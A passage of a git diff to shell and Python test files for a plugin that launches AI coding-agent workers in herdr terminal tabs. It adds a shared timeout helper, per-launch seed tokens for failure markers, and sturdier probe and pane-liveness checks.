-#                         /exit leaves a bare shell and this mode simply reuses (and
-#                         re-`claude -c`s) that tab.
+#                         /exit leaves a bare shell and this mode FINDS that tab
+#                         still open: it focuses it and starts nothing (reused=yes,
+#                         resumed= empty) — running `claude -c` in it is then the
+#                         caller's call, not this helper's.
 #                         `claude -c` continues the most-recent session for
 #                         the worktree cwd; since each worktree hosts exactly one
 #                         task, the cwd already identifies the session unambiguously
@@ -115,6 +117,14 @@
 # the manual instructions instead. Diagnostics always go to stderr.
 set -eu
 
+# Where this script (and its sibling helpers: lib-bounded.sh, herdr-tab-glyph.sh,
+# agent-registry.sh, herdr-teardown.sh) actually live. `${0%/*}` is NOT a safe
+# substitute: invoked as a bare name (`bash herdr-launch.sh`, or via PATH) `$0`
+# has no slash, so `${0%/*}` yields the FILENAME — every sibling path built from
+# it then misses, and the guards that check `[ -f … ]` degrade SILENTLY (rollback
+# would report `unverified` for a tab it never even tried to close).
+SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "${BASH_SOURCE[0]:-$0}")" && pwd)"
+
 mode="${1:-}"
 case "$mode" in
   launch|resume) shift ;;
@@ -161,39 +171,23 @@ trap 'rm -f "${start_err:-}" "${move_err:-}" "${create_err:-}" "${run_err:-}" "$
 # <name>`) and the Claude session name are stable identities: a glyph there would
 # freeze at its launch-time value (nothing refreshes them) and clutter /resume.
 tab_label="$label"
-glyph_helper="${0%/*}/herdr-tab-glyph.sh"
+glyph_helper="$SCRIPT_DIR/herdr-tab-glyph.sh"
 if [ -f "$glyph_helper" ]; then
   stamped="$(bash "$glyph_helper" prefix "$label" "$worktree" 2>/dev/null || true)"
   [ -n "$stamped" ] && tab_label="$stamped"
 fi
 
-# bounded_run <seconds> <cmd...> — run cmd under a hard time bound, so a wedged
-# herdr can never hang a launch. Prints cmd's stdout; returns cmd's exit code, or
-# 124 if the bound killed it. Uses timeout/gtimeout when present, else a detached
-# killer that escalates SIGTERM → SIGKILL (a process ignoring SIGTERM must not
-# block us either). The killer's fds go to /dev/null: this runs inside a command
-# substitution, and a background job holding the captured pipe would make $(…)
-# block until it exits. agent-registry.sh carries the same primitive for its CLI
-# probes; kept local here so the launcher has no cross-script runtime dependency.
-bounded_run() {
-  local secs="$1"; shift
-  local rc=0
-  if command -v timeout >/dev/null 2>&1; then
-    timeout  -k 1 "$secs" "$@" || rc=$?
-  elif command -v gtimeout >/dev/null 2>&1; then
-    gtimeout -k 1 "$secs" "$@" || rc=$?
-  else
-    local tmp; tmp="$(mktemp)"
-    "$@" >"$tmp" 2>&1 &
-    local pid=$!
-    ( sleep "$secs"; kill "$pid" 2>/dev/null; sleep 2; kill -9 "$pid" 2>/dev/null ) >/dev/null 2>&1 &
-    local killer=$!
-    if wait "$pid" 2>/dev/null; then rc=0; else rc=$?; fi
-    kill "$killer" 2>/dev/null || true
-    cat "$tmp"; rm -f "$tmp"
-  fi
-  case "$rc" in 137|143) rc=124 ;; esac
-  return "$rc"
+# `run_bounded <seconds> <cmd...>` — the shared time bound (lib-bounded.sh, also
+# sourced by agent-registry.sh). It wraps the capability probe and every POLLING
+# read below, so a herdr that stops answering turns into a bounded diagnostic
+# instead of an indefinite hang inside a loop. It does NOT wrap the mutating calls
+# (`tab create`, `agent start`, `pane run`, `pane move`): `agent start` carries
+# herdr's own `--timeout`, and client-side killing a half-applied mutation would
+# trade a hang for unknown server state — those keep their pre-existing behavior.
+# shellcheck source=lib-bounded.sh
+. "$SCRIPT_DIR/lib-bounded.sh" 2>/dev/null || {
+  echo "herdr-launch.sh: cannot source $SCRIPT_DIR/lib-bounded.sh (it ships alongside this script)" >&2
+  exit 1
 }
 
 # ---- launch API detection --------------------------------------------------
@@ -201,16 +195,23 @@ bounded_run() {
 # process is started to find out) and NEVER from a version string: 0.7.x spans
 # BOTH contracts (the change landed in 0.7.5), so a version compare would route
 # half of that range to the wrong path.
-#   modern  --kind AND --pane offered  → tab create first, start into that pane
-#   legacy  --workspace AND --cwd      → herdr places the agent, then pane move
-#   unknown neither                    → fail BEFORE creating or starting anything
+#   modern       --kind AND --pane offered  → tab create first, start into that pane
+#   legacy       --workspace AND --cwd      → herdr places the agent, then pane move
+#   unknown      help read fine, names neither → this herdr speaks something else
+#   probe-failed the probe itself failed/timed out/returned nothing → we learned
+#                NOTHING about the contract. Kept distinct from `unknown` so the
+#                diagnostic names the real cause (a wedged socket, a missing
+#                binary) instead of accusing herdr of an unrecognizable API. Both
+#                still fail closed — guessing a contract could create a stray tab.
 # $WORK_SYSTEM_HERDR_API forces the answer (tests, and an escape hatch if a future
 # herdr's help text stops naming its flags).
 detect_launch_api() {
   [ -n "${WORK_SYSTEM_HERDR_API:-}" ] && { printf '%s\n' "$WORK_SYSTEM_HERDR_API"; return 0; }
-  local help
-  help="$(bounded_run 10 herdr agent start --help 2>&1 || true)"
-  if printf '%s' "$help" | grep -q -- '--kind' && printf '%s' "$help" | grep -q -- '--pane'; then
+  local help rc=0
+  help="$(run_bounded 10 herdr agent start --help 2>&1)" || rc=$?
+  if [ "$rc" != 0 ] || [ -z "$help" ]; then
+    printf 'probe-failed\n'
+  elif printf '%s' "$help" | grep -q -- '--kind' && printf '%s' "$help" | grep -q -- '--pane'; then
     printf 'modern\n'
   elif printf '%s' "$help" | grep -q -- '--workspace' && printf '%s' "$help" | grep -q -- '--cwd'; then
     printf 'legacy\n'
@@ -225,6 +226,9 @@ BUSY_TRIES="${WORK_SYSTEM_HERDR_BUSY_TRIES:-20}"                 # agent_pane_bu
 READY_TRIES="${WORK_SYSTEM_HERDR_READY_TRIES:-20}"               # shell-prompt wait (pane-run)
 DETECT_TRIES="${WORK_SYSTEM_HERDR_DETECT_TRIES:-60}"             # wrapper detection polls
 RETRY_DELAY="${WORK_SYSTEM_HERDR_RETRY_DELAY:-0.5}"              # seconds between polls
+# Legacy path only: how long to let a wrapper worker prove it did not die on the
+# spot before its tab is reported as running (see the pane_alive check there).
+WRAPPER_ALIVE_TRIES="${WORK_SYSTEM_HERDR_ALIVE_TRIES:-6}"
 
 # JSON extractors. null / missing / malformed all yield empty, and a stray
 # traceback can never reach the user's terminal.
@@ -270,12 +274,22 @@ except Exception:
 #   are `wN:pM`/`wN:tM` and never contain `|`. A partial response therefore still
 #   surrenders whatever id IS there, which is what lets the caller clean up a tab
 #   that came back without a usable pane instead of orphaning it.
+#   Each id is resolved through its own isinstance-checked chain: a field that is
+#   present but the WRONG SHAPE (e.g. `"tab": "w1:t9"` instead of an object) must
+#   cost only that one lookup, never the whole parse — an unguarded `.get` on a
+#   string raises, the bare `except` prints `"|"`, and a perfectly usable pane id
+#   would be thrown away with it, turning schema drift into a failed launch.
 extract_root_pane_tab='import sys, json
+def pick(v, key):
+    if isinstance(v, dict):
+        return v.get(key) or ""
+    return v or "" if isinstance(v, str) else ""
 try:
     r = json.load(sys.stdin)["result"]
-    root = r.get("root_pane") or {}
-    pane = root.get("pane_id") or (r.get("pane") or {}).get("pane_id") or r.get("pane_id") or ""
-    tab = (r.get("tab") or {}).get("tab_id") or r.get("tab_id") or root.get("tab_id") or ""
+    pane = (pick(r.get("root_pane"), "pane_id") or pick(r.get("pane"), "pane_id")
+            or pick(r, "pane_id"))
+    tab = (pick(r.get("tab"), "tab_id") or pick(r, "tab_id")
+           or pick(r.get("root_pane"), "tab_id"))
     print(pane + "|" + tab)
 except Exception:
     print("|")'
@@ -404,7 +418,7 @@ classify_start_failure() {
 rollback_tab() {
   local t="${1:-}" td state
   [ -n "$t" ] || { printf 'closed\n'; return 0; }
-  td="${0%/*}/herdr-teardown.sh"
+  td="$SCRIPT_DIR/herdr-teardown.sh"
   [ -f "$td" ] || { printf 'unverified\n'; return 0; }
   state="$(bash "$td" close-tab "$t" "$workspace" 2>/dev/null || echo unverified)"
   case "$state" in closed) printf 'closed\n' ;; *) printf 'unverified\n' ;; esac
@@ -434,33 +448,62 @@ fail_definitive() {
 
 # pane_agent_kind <pane> — what herdr currently detects in that pane ("" = nothing).
 pane_agent_kind() {
-  herdr pane get "$1" 2>/dev/null | python3 -c "$extract_pane_agent" 2>/dev/null || true
+  run_bounded 10 herdr pane get "$1" 2>/dev/null | python3 -c "$extract_pane_agent" 2>/dev/null || true
+}
+
+# pane_alive <pane> — does the pane still exist? Used on the LEGACY path, where a
+# wrapper worker IS the tab's root process: if its seed dies, the pane (and with it
+# the tab) is gone, and reporting `moved=yes` would point the user at a tab that no
+# longer exists. Non-zero when herdr cannot see the pane; also non-zero when herdr
+# cannot be reached at all, so the caller must treat "not alive" as inconclusive
+# unless it has another reason to believe the pane died.
+pane_alive() {
+  run_bounded 10 herdr pane get "$1" >/dev/null 2>&1
 }
 
 # pane_has_marker <pane> <token> — is the wrapper's seed-failure marker on screen?
 # `--source visible` is the snapshot that actually holds a settled pane's text; the
 # default `recent` returns nothing once output has stopped (verified live).
+#
+# <token> MUST carry this launch's random seed token (`<marker>:<nonce>`), never a
+# bare well-known constant. The pane's contents are worker-controlled: the seed
+# reads and echoes repository files, and in a work-system repo those files (TASK.md,
+# CHANGELOG, these very tests) legitimately NAME the marker — a substring match on
+# the constant alone would tear down a healthy worker's tab the moment it printed
+# one of them. The nonce is minted per launch and known only to the wrapper the
+# launcher itself started.
 pane_has_marker() {
-  herdr pane read "$1" --source visible --lines 200 --format text 2>/dev/null \
+  run_bounded 10 herdr pane read "$1" --source visible --lines 200 --format text 2>/dev/null \
     | grep -qF -- "$2"
 }
 
 # wait_shell_ready <pane> → ready | busy | unknown. Bounded wait for the pane to be
 # back at ITS OWN shell prompt before typing into it (the `pane run` path has no
-# herdr-side readiness check the way `agent start` does). `unknown` means herdr
-# cannot answer at all (no process-info) — the caller degrades and proceeds rather
-# than blocking a launch forever, since the detection step still gates success.
+# herdr-side readiness check the way `agent start` does).
+#
+# `unknown` (herdr cannot answer — no `pane process-info`, an error, a renamed
+# field) means CANNOT VERIFY, not READY: returning on it immediately would type
+# into a pane created milliseconds ago and hand the rc-file keystroke race back
+# exactly the window this function exists to close. So an unknown answer keeps
+# polling — it may become readable — and only after the whole bounded window is
+# spent does the caller proceed on it, having at least waited out the documented
+# rc-file window. `busy` (a readable answer that says a child holds the foreground)
+# stays a hard failure: we know it is not safe to type.
 wait_shell_ready() {
-  local p="$1" i=0 st=unknown
+  local p="$1" i=0 st=unknown last=unknown
   while [ "$i" -lt "$READY_TRIES" ]; do
-    st="$(herdr pane process-info --pane "$p" 2>/dev/null | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown)"
-    case "$st" in
-      ready|unknown) printf '%s\n' "$st"; return 0 ;;
-    esac
+    st="$(run_bounded 10 herdr pane process-info --pane "$p" 2>/dev/null | python3 -c "$extract_shell_ready" 2>/dev/null || echo unknown)"
+    [ "$st" = ready ] && { printf 'ready\n'; return 0; }
+    last="$st"
     i=$((i + 1))
     sleep "$RETRY_DELAY" 2>/dev/null || true
   done
-  printf 'busy\n'
+  # Window spent: an unreadable pane degrades to "proceed" (detection still gates
+  # success), a readably-busy one does not.
+  case "$last" in
+    unknown) printf 'unknown\n' ;;
+    *)       printf 'busy\n' ;;
+  esac
 }
 
 case "$mode" in
@@ -488,7 +531,7 @@ case "$mode" in
       # Plugin-qualified: a CC built-in/alias `/continue` shadows the skill.
       worker_argv=(claude -n "$session" "/work-system:continue")
     else
-      registry="${0%/*}/agent-registry.sh"
+      registry="$SCRIPT_DIR/agent-registry.sh"
       [ -f "$registry" ] || { echo "agent-registry.sh not found next to herdr-launch.sh" >&2; exit 1; }
       rc=0
       # Keep resolve's stderr (it distinguishes its exit-2 causes: unknown
@@ -528,6 +571,14 @@ EOF_RESOLVE
     api="$(detect_launch_api)"
     case "$api" in
       modern|legacy) : ;;
+      probe-failed)
+        # We never got an answer, so we know nothing about the contract. Say THAT,
+        # instead of accusing herdr of an unrecognizable API — the cause here is a
+        # wedged/unreachable socket or a probe that outran its bound.
+        echo "could not probe 'herdr agent start --help' (no output, an error, or it outran its 10s bound) — herdr may be unreachable or wedged" >&2
+        echo "nothing was created and no worker was started — start it by hand, or retry once herdr responds" >&2
+        exit 1
+        ;;
       *)
         echo "cannot identify this herdr's 'agent start' contract: its --help offers neither --kind/--pane (0.7.5+) nor --workspace/--cwd (0.7.0-0.7.4)" >&2
         echo "nothing was created and no worker was started — start it by hand" >&2
@@ -564,6 +615,24 @@ EOF_RESOLVE
       if move_json="$(herdr pane move "$pane" --new-tab --label "$tab_label" --no-focus 2>"$move_err")"; then
         tab="$(printf '%s' "$move_json" | python3 -c "$extract_moved_tab" 2>/dev/null || true)"
         rm -f "$move_err"
+        # A WRAPPER worker (herdr_mode=pane-run) is this tab's ROOT process here, so
+        # a seed that exits immediately — bad auth, an unconfigured model — ends the
+        # pane and herdr closes the tab we are about to report as running. Give it a
+        # bounded moment and check the pane is still there, so we never print
+        # `moved=yes` for a tab that is already gone. Native workers keep the
+        # unchanged fast path: their argv doesn't self-terminate on a bad seed, and
+        # this legacy contract is meant to stay byte-identical for them.
+        if [ "$herdr_mode" = pane-run ]; then
+          i=0
+          while [ "$i" -lt "$WRAPPER_ALIVE_TRIES" ]; do
+            sleep "$RETRY_DELAY" 2>/dev/null || true
+            i=$((i + 1))
+          done
+          if ! pane_alive "$pane"; then
+            echo "the $agent_name worker exited immediately in pane $pane, so herdr closed its tab — the seed phase failed and TASK.md was not started (run the worker by hand to see its error)" >&2
+            exit 1
+          fi
+        fi
         printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
       else
         diag="$(herdr_diag "$(cat "$move_err")" "$workspace" 0)"
@@ -694,9 +763,27 @@ EOF_RESOLVE
     if [ "$ready" = busy ]; then
       fail_definitive "pane $pane never reached its shell prompt within the readiness window — nothing was typed into it"
     fi
+    # Mint this launch's seed token and hand it to the wrapper as an environment
+    # assignment PREFIXED to the command (a plain `KEY=value cmd …`, so argv_shell
+    # itself is still passed through untouched — no re-quoting). The wrapper prints
+    # it as part of its failure marker, and only `<marker>:<token>` is what
+    # pane_has_marker greps for. Without the token the grep would match the marker
+    # constant wherever it appears in the pane — including in repository files the
+    # seed reads and echoes. A host that cannot mint one degrades to NO marker
+    # detection (the launch then relies on the detection window alone) rather than
+    # to a forgeable constant: losing a signal is safe, trusting a fake one is not.
+    # ($WORK_SYSTEM_HERDR_SEED_TOKEN pins it for tests — a stubbed pane can only
+    # echo a marker the test already knows. Never set it in real use.)
+    seed_token="${WORK_SYSTEM_HERDR_SEED_TOKEN:-$(python3 -c 'import secrets; print(secrets.token_hex(8))' 2>/dev/null || true)}"
+    seed_marker_match=""
+    run_cmd="$argv_shell"
+    if [ -n "$herdr_marker" ] && [ -n "$seed_token" ]; then
+      seed_marker_match="$herdr_marker:$seed_token"
+      run_cmd="WORK_SYSTEM_SEED_TOKEN=$seed_token $argv_shell"
+    fi
     run_rc=0
     run_err="$(mktemp)"
-    herdr pane run "$pane" "$argv_shell" >/dev/null 2>"$run_err" || run_rc=$?
+    herdr pane run "$pane" "$run_cmd" >/dev/null 2>"$run_err" || run_rc=$?
     run_blob="$(cat "$run_err")"
     rm -f "$run_err"
     if [ "$run_rc" != 0 ]; then
@@ -713,18 +800,31 @@ EOF_RESOLVE
     # Bounded detection. Success is ONLY herdr recognizing the expected worker in
     # this exact pane; a timeout, a different kind, or an unreadable state is
     # reported as unverified — never as success, and never as a reason to start a
-    # second one. The wrapper's seed-failure marker is the one signal that IS
-    # definitive: it proves the worker exited without starting the task.
+    # second one.
+    #
+    # The seed-failure marker is checked FIRST in every iteration, because both
+    # signals can be true at once and they mean opposite things: herdr detects the
+    # wrapper's CLI within seconds of the seed starting, so an iteration that finds
+    # the marker will usually also find the kind. Checking the kind first would let
+    # a worker that already announced its own death be reported as a launch.
+    #
+    # What this window can and cannot catch, stated honestly: it catches a seed that
+    # dies BEFORE the launch is confirmed — the common failure (expired auth, an
+    # unconfigured model), which is exactly when the user needs a clean "it didn't
+    # start" instead of a tab to inspect. It cannot catch a seed that fails minutes
+    # later: the seed phase IS the task work, so waiting for it to finish is not a
+    # launch-time option. A launch reported here was real when reported; a worker
+    # that dies afterwards is an ordinary worker crash, not a bad launch.
     i=0
     while [ "$i" -lt "$DETECT_TRIES" ]; do
+      if [ -n "$seed_marker_match" ] && pane_has_marker "$pane" "$seed_marker_match"; then
+        fail_definitive "the $agent_name worker's seed phase failed in pane $pane (marker: $herdr_marker) — TASK.md was not started"
+      fi
       detected="$(pane_agent_kind "$pane")"
       if [ "$detected" = "$herdr_kind" ]; then
         printf 'pane=%s\ntab=%s\nmoved=yes\nagent=%s\n' "$pane" "$tab" "$agent_name"
         exit 0
       fi
-      if [ -n "$herdr_marker" ] && pane_has_marker "$pane" "$herdr_marker"; then
-        fail_definitive "the $agent_name worker's seed phase failed in pane $pane (marker: $herdr_marker) — TASK.md was not started"
-      fi
       if [ -n "$detected" ]; then
         echo "herdr detects '$detected' in pane $pane, not the expected '$herdr_kind' — cannot confirm the launch" >&2
         emit_unverified
@@ -753,7 +853,7 @@ EOF_RESOLVE
     #                 list, or an unreadable-cwd pane): FAIL CLOSED — do not risk a
     #                 duplicate. Emit blocked=unverified so the caller cues the user to
     #                 check herdr for an existing tab. (Also covers a missing helper.)
-    teardown="${0%/*}/herdr-teardown.sh"
+    teardown="$SCRIPT_DIR/herdr-teardown.sh"
     state=unverified
     [ -f "$teardown" ] && state="$(bash "$teardown" worktree-tab-state "" "$worktree" 2>/dev/null || echo unverified)"
     case "$state" in
diff --git a/plugins/work-system/scripts/lib-bounded.sh b/plugins/work-system/scripts/lib-bounded.sh
new file mode 100644
index 0000000..f99367d
--- /dev/null
+++ b/plugins/work-system/scripts/lib-bounded.sh
@@ -0,0 +1,54 @@
+#!/usr/bin/env bash
+# lib-bounded.sh — `run_bounded`, the one time-bounded command runner.
+#
+# SOURCE this file (`. "<dir>/lib-bounded.sh"`); it defines a function and runs
+# nothing. Both agent-registry.sh (CLI availability probes) and herdr-launch.sh
+# (the herdr capability probe + its polling reads) need the same primitive, and
+# they shipped a copy each until the copies drifted — one merged the child's
+# stderr into the captured output, the other didn't. A sibling-file dependency is
+# already the norm between these scripts (herdr-launch.sh shells out to
+# herdr-teardown.sh, agent-registry.sh), so one definition beats two.
+
+# run_bounded <seconds> <cmd...> — run cmd with a hard time bound, so an external
+# probe or a wedged server can never hang the caller. Prints cmd's stdout; returns
+# cmd's exit code, or 124 if the bound killed it.
+#
+# Uses timeout/gtimeout when present; otherwise self-bounds with a detached killer
+# that escalates SIGTERM -> SIGKILL, so a process ignoring SIGTERM still can't
+# block us. Two details that look incidental but are not:
+#   * cmd's stdout goes to a TEMP FILE, not this function's stdout. Callers run
+#     this inside a command substitution, and if the killer has to SIGKILL cmd, an
+#     orphaned grandchild inherits cmd's fds — were that the $( ) pipe, the caller
+#     would block until the orphan died. Only the final `cat` writes to stdout.
+#   * cmd's STDERR is deliberately NOT merged into that file: it stays on the
+#     function's stderr, which the CALL SITE controls (`run_bounded … 2>/dev/null`
+#     to drop it, `2>&1` to capture it). Merging it here would silently fold error
+#     text into probe output that callers then pattern-match.
+# The killer's own fds go to /dev/null for the same command-substitution reason.
+run_bounded() {
+  local secs="$1"; shift
+  local rc=0
+  # `-k 1`: GNU timeout only SIGTERMs at the deadline then waits — a child that
+  # ignores SIGTERM would run forever on the COMMON path (any host with timeout/
+  # gtimeout). --kill-after escalates to SIGKILL, matching the self-watchdog below.
+  if command -v timeout >/dev/null 2>&1; then
+    timeout  -k 1 "$secs" "$@" || rc=$?
+  elif command -v gtimeout >/dev/null 2>&1; then
+    gtimeout -k 1 "$secs" "$@" || rc=$?
+  else
+    local tmp; tmp="$(mktemp)"
+    "$@" >"$tmp" &
+    local pid=$!
+    ( sleep "$secs"; kill "$pid" 2>/dev/null; sleep 2; kill -9 "$pid" 2>/dev/null ) >/dev/null 2>&1 &
+    local killer=$!
+    if wait "$pid" 2>/dev/null; then rc=0; else rc=$?; fi
+    kill "$killer" 2>/dev/null || true
+    cat "$tmp"; rm -f "$tmp"
+  fi
+  # Normalize a bounded kill to ONE "timed out" code (124): GNU timeout reports
+  # 124 (SIGTERM) or 137 (needed SIGKILL); the watchdog's `wait` yields 137/143.
+  # Callers use 124 to treat a slow probe as inconclusive, distinct from a real
+  # non-zero exit (e.g. genuine auth failure).
+  case "$rc" in 137|143) rc=124 ;; esac
+  return "$rc"
+}
diff --git a/plugins/work-system/scripts/test_agent_registry.py b/plugins/work-system/scripts/test_agent_registry.py
index a65eeb4..c6a9922 100644
--- a/plugins/work-system/scripts/test_agent_registry.py
+++ b/plugins/work-system/scripts/test_agent_registry.py
@@ -187,7 +187,8 @@ def kv(out):
 KIMI_SCRIPT = (
     'if kimi -m "$1" -p "$2"; then exec kimi -c --auto; else rc=$?; '
     f'm={SEED_MARKER[: -len("_FAILED")]}; echo; '
-    'echo "[work-system] ${m}_FAILED: kimi seed exited $rc - '
+    'echo "[work-system] ${m}_FAILED:${WORK_SYSTEM_SEED_TOKEN:-none}: '
+    'kimi seed exited $rc - '
     'TASK.md was NOT started and no session was opened."; exit $rc; fi'
 )
 
@@ -231,6 +232,10 @@ def kv(out):
 # further down prove it still reaches the screen intact.
 check("the marker literal is NOT in the typed command", SEED_MARKER not in script)
 check("the marker is assembled at runtime", "${m}_FAILED" in script)
+# ...and it carries the launcher's per-launch token, so the printed line cannot be
+# forged by any repository file the seed happens to read and echo.
+check("the marker line carries the per-launch seed token",
+      "${WORK_SYSTEM_SEED_TOKEN:-none}" in script)
 check("seed failure states TASK.md was not started", "TASK.md was NOT started" in script)
 check("seed failure does not wait for input", "read " not in script)
 check("phase 2 is gated behind the seed's success",
diff --git a/plugins/work-system/scripts/test_herdr_launch.py b/plugins/work-system/scripts/test_herdr_launch.py
index a9989f0..0b31f3a 100644
--- a/plugins/work-system/scripts/test_herdr_launch.py
+++ b/plugins/work-system/scripts/test_herdr_launch.py
@@ -65,6 +65,10 @@
     "code": "agent_pane_busy", "message": "pane w1:p7 is not at a shell prompt"}})
 NO_PANE_ERR = jsonlib.dumps({"error": {
     "code": "agent_pane_not_found", "message": "agent target pane w1:p7 not found"}})
+# The launcher mints a random per-launch seed token; pinning it lets a stubbed pane
+# echo the exact marker line a real wrapper would print.
+SEED_TOKEN = "deadbeefcafe0001"
+SEED_MARKER = "WORKER_SEED_FAILED"
 
 
 def pane_get(agent=None):
@@ -200,6 +204,8 @@ def __init__(self, cases, log_argv=False, api="legacy", help_text=None):
         self.env["WORK_SYSTEM_HERDR_BUSY_TRIES"] = "3"
         self.env["WORK_SYSTEM_HERDR_READY_TRIES"] = "3"
         self.env["WORK_SYSTEM_HERDR_DETECT_TRIES"] = "3"
+        self.env["WORK_SYSTEM_HERDR_ALIVE_TRIES"] = "2"
+        self.env["WORK_SYSTEM_HERDR_SEED_TOKEN"] = SEED_TOKEN
         if api is not None:
             self.env["WORK_SYSTEM_HERDR_API"] = api
         else:
@@ -411,6 +417,18 @@ def wrapper_cases(**over):
       r.stdout == "pane=w1:p5\ntab=w1:t9\nmoved=yes\nagent=claude\n")
 e.close()
 
+# --- a FAILED probe is not an "unrecognizable contract" -------------------- #
+# We learned nothing about the API, so the diagnostic must name the probe, not
+# accuse herdr of an unknown contract. Both still fail closed.
+e = Env(modern_cases(**{"agent start": ("", "socket closed", 1)}),
+        log_argv=True, api=None)
+r = e.run("launch", "t", str(e.worktree), "w1")
+check("probe failed: exit 1", r.returncode == 1)
+check("probe failed: diagnostic names the probe, not a missing contract",
+      "could not probe" in r.stderr and "--kind/--pane" not in r.stderr)
+check("probe failed: nothing was created", "tab create" not in [n for n, _ in e.calls()])
+e.close()
+
 # --- unrecognizable help -> fail BEFORE any mutation ----------------------- #
 e = Env(modern_cases(), log_argv=True, api=None, help_text=UNKNOWN_HELP)
 r = e.run("launch", "t", str(e.worktree), "w1")
@@ -649,8 +667,11 @@ def kimi_run(cases, log_argv=True):
     # not re-split or re-quoted by the launcher.
     check("wrapper: the command is a single argv word", len(runs[0]) == 4)
     cmd = runs[0][3]
-    check("wrapper: the registry's argv_shell is sent verbatim",
-          cmd.startswith("sh -c ") and "exec kimi -c --auto" in cmd)
+    check("wrapper: this launch's seed token rides as a plain env assignment",
+          cmd.startswith(f"WORK_SYSTEM_SEED_TOKEN={SEED_TOKEN} "))
+    check("wrapper: the registry's argv_shell follows it verbatim",
+          cmd.split(" ", 1)[1].startswith("sh -c ")
+          and "exec kimi -c --auto" in cmd)
     check("wrapper: no agent start on this path",
           "agent start" not in [n for n, _ in e.calls()])
 check("wrapper: waited for the shell prompt before typing",
@@ -680,13 +701,15 @@ def kimi_run(cases, log_argv=True):
 e.close()
 
 # --- the seed-failure marker is DEFINITIVE -> roll the tab back ------------ #
+# The marker only counts when it carries THIS launch's seed token.
 e, r = kimi_run(wrapper_cases(**{
     "pane get": (pane_get(), "", 0),
-    "pane read": ("$ sh -c ...\n[work-system] WORKER_SEED_FAILED: kimi seed exited 1 - "
-                  "TASK.md was NOT started and no session was opened.\n$ ", "", 0),
+    "pane read": (f"$ sh -c ...\n[work-system] {SEED_MARKER}:{SEED_TOKEN}: kimi seed "
+                  "exited 1 - TASK.md was NOT started and no session was opened.\n$ ",
+                  "", 0),
 }))
 check("wrapper seed failure: exit 1", r.returncode == 1)
-check("wrapper seed failure: names the marker", "WORKER_SEED_FAILED" in r.stderr)
+check("wrapper seed failure: names the marker", SEED_MARKER in r.stderr)
 check("wrapper seed failure: says TASK.md was not started",
       "TASK.md was not started" in r.stderr)
 check("wrapper seed failure: tab closed exactly once",
@@ -694,6 +717,41 @@ def kimi_run(cases, log_argv=True):
 check("wrapper seed failure: no stdout", r.stdout == "")
 e.close()
 
+# --- a TOKENLESS marker in the pane must NOT tear the tab down ------------- #
+# The pane's text is worker-controlled: the seed reads repository files, and in a
+# work-system repo those files (TASK.md, CHANGELOG, these tests) legitimately name
+# the marker constant. Only the per-launch token makes a match trustworthy.
+e, r = kimi_run(wrapper_cases(**{
+    "pane read": (f"$ cat TASK.md\n… the wrapper prints {SEED_MARKER} on a bad seed …\n",
+                  "", 0),
+}))
+check("foreign marker text: the launch still succeeds", r.returncode == 0)
+check("foreign marker text: the tab was NOT rolled back",
+      "tab close" not in [n for n, _ in e.calls()])
+e.close()
+
+# --- a marker carrying SOMEONE ELSE'S token is ignored too ----------------- #
+e, r = kimi_run(wrapper_cases(**{
+    "pane read": (f"[work-system] {SEED_MARKER}:0000000000000000: kimi seed exited 1\n",
+                  "", 0),
+}))
+check("stale token: the launch still succeeds", r.returncode == 0)
+check("stale token: the tab was NOT rolled back",
+      "tab close" not in [n for n, _ in e.calls()])
+e.close()
+
+# --- marker BEFORE kind: a dead seed must not read as a live worker -------- #
+# herdr detects the wrapper's CLI within seconds of the seed starting, so the same
+# poll can see both signals. The marker has to win, or a worker that announced its
+# own death gets reported as a successful launch.
+e, r = kimi_run(wrapper_cases(**{
+    "pane get": (pane_get("kimi"), "", 0),
+    "pane read": (f"[work-system] {SEED_MARKER}:{SEED_TOKEN}: kimi seed exited 1\n", "", 0),
+}))
+check("marker wins over a simultaneous kind match", r.returncode == 1)
+check("marker wins: no success line on stdout", r.stdout == "")
+e.close()
+
 # --- the ECHOED command must not read as a seed failure -------------------- #
 # A pane shows the command it was given. The wrapper therefore assembles its marker
 # at runtime, and this pins the consequence: a pane whose only content is that
@@ -719,11 +777,17 @@ def kimi_run(cases, log_argv=True):
 check("wrapper shell busy: bounded wait", len(e.call_args("pane process-info")) == 3)
 e.close()
 
-# --- an unreadable readiness answer degrades to "proceed", not to a block -- #
+# --- an unreadable readiness answer waits out the window, then proceeds ---- #
+# "Cannot verify" is not "ready": returning on the first unreadable answer would
+# type into a pane created milliseconds ago and hand back the rc-file keystroke
+# race this wait exists to close. It spends the whole bounded window instead, and
+# only then degrades to proceeding (detection still gates success).
 e, r = kimi_run(wrapper_cases(**{"pane process-info": ("not json at all", "", 0)}))
 check("wrapper readiness unknown: still launches", r.returncode == 0)
-check("wrapper readiness unknown: asked once, then proceeded",
-      len(e.call_args("pane process-info")) == 1)
+check("wrapper readiness unknown: the whole bounded window was spent",
+      len(e.call_args("pane process-info")) == 3)
+check("wrapper readiness unknown: the command was still sent",
+      len(e.call_args("pane run")) == 1)
 e.close()
 
 # --- pane run itself is rejected -> definitive, tab rolled back ------------ #
@@ -738,6 +802,69 @@ def kimi_run(cases, log_argv=True):
 e.close()
 
 
+# ========================================================================== #
+# legacy path + a wrapper worker: never report a tab that already died
+# ========================================================================== #
+
+# On legacy herdr the wrapper IS the tab's root process, so a seed that exits at
+# once takes the pane — and the tab — with it. Reporting moved=yes then points the
+# user at a tab that no longer exists.
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0),
+         "pane get": ("", jsonlib.dumps(
+             {"error": {"code": "pane_not_found", "message": "no such pane"}}), 1)},
+        log_argv=True, api="legacy")
+r = e.run("launch", "t", str(e.worktree), "w1", "--kimi", "sess1")
+check("legacy wrapper died: exit 1", r.returncode == 1)
+check("legacy wrapper died: no moved=yes for a dead tab", "moved=yes" not in r.stdout)
+check("legacy wrapper died: says the seed failed", "seed phase failed" in r.stderr)
+e.close()
+
+# ...and a wrapper that IS alive keeps the unchanged legacy success contract.
+e = Env({"agent start": (LEGACY_STARTED, "", 0), "pane move": (LEGACY_MOVED, "", 0),
+         "pane get": (pane_get("kimi"), "", 0)}, log_argv=True, api="legacy")
+r = e.run("launch", "t", str(e.worktree), "w1", "--kimi", "sess1")
+check("legacy wrapper alive: stdout contract unchanged",
+      r.stdout == "pane=w1:p5\ntab=w1:t9\nmoved=yes\nagent=kimi:kimi-code/k3-256k\n")
+e.close()
+
+# A NATIVE legacy launch must not pay for that check at all — its contract is
